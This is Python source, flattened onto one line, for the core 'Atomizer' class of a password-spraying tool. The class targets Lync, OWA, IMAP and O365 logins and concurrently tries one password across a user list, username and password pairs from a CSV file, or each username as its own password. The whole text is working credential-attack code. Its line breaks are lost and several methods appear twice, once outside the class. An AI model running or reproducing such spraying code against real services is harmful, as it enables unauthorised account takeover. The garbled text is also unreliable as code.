def imap(self, port): self.sprayer = IMAP(target=self.target, port=port)
def lync(self): self.sprayer = Lync(target=self.target)
def owa(self): self.sprayer = OWA(target=self.target)
class Atomizer: def __init__(self, loop, target, threads=3, debug=False): self.loop = loop self.target = target self.sprayer = None self.threads = int(threads) self.debug = debug log_format = '%(threadName)10s %(name)18s: %(message)s' if debug else '%(message)s' logging.basicConfig( level=logging.DEBUG if debug else logging.INFO, format=log_format, stream=sys.stderr, ) self.executor = concurrent.futures.ThreadPoolExecutor( max_workers=self.threads, ) def lync(self): self.sprayer = Lync(target=self.target) def owa(self): self.sprayer = OWA(target=self.target) def imap(self, port): self.sprayer = IMAP(target=self.target, port=port) async def atomize(self, userfile, password): log = logging.getLogger('atomize') log.debug('atomizing...') auth_function = self.sprayer.auth_O365 if self.sprayer.O365 else self.sprayer.auth log.debug('creating executor tasks') logging.info(print_info(f"Starting spray at {get_utc_time()} UTC")) blocking_tasks = [ self.loop.run_in_executor( self.executor, partial(auth_function, username=username.strip(), password=password)) for username in userfile ] log.debug('waiting for executor tasks') await asyncio.wait(blocking_tasks) log.debug('exiting') async def atomize_csv(self, csvreader: csv.DictReader, user_row_name='Email Address', pass_row_name='Password'): log = logging.getLogger('atomize_csv') log.debug('atomizing...') auth_function = self.sprayer.auth_O365 if self.sprayer.O365 else self.sprayer.auth log.debug('creating executor tasks') logging.info(print_info(f"Starting spray at {get_utc_time()} UTC")) blocking_tasks = [ self.loop.run_in_executor( self.executor, partial(auth_function, username=row[user_row_name], password=row[pass_row_name])) for row in csvreader ] log.debug('waiting for executor tasks') await asyncio.wait(blocking_tasks) log.debug('exiting') async def atomize_user_as_pass(self, userfile): log = logging.getLogger('atomize_user_as_pass') log.debug('atomizing...') auth_function = self.sprayer.auth_O365 if self.sprayer.O365 else self.sprayer.auth log.debug('creating executor tasks') logging.info(print_info(f"Starting spray at {get_utc_time()} UTC")) blocking_tasks = [ self.loop.run_in_executor( self.executor, partial(auth_function, username=username.strip(), password=username.strip().split('\\')[-1:][0])) for username in userfile ] log.debug('waiting for executor tasks') await asyncio.wait(blocking_tasks) log.debug('exiting') def shutdown(self): self.sprayer.shutdown()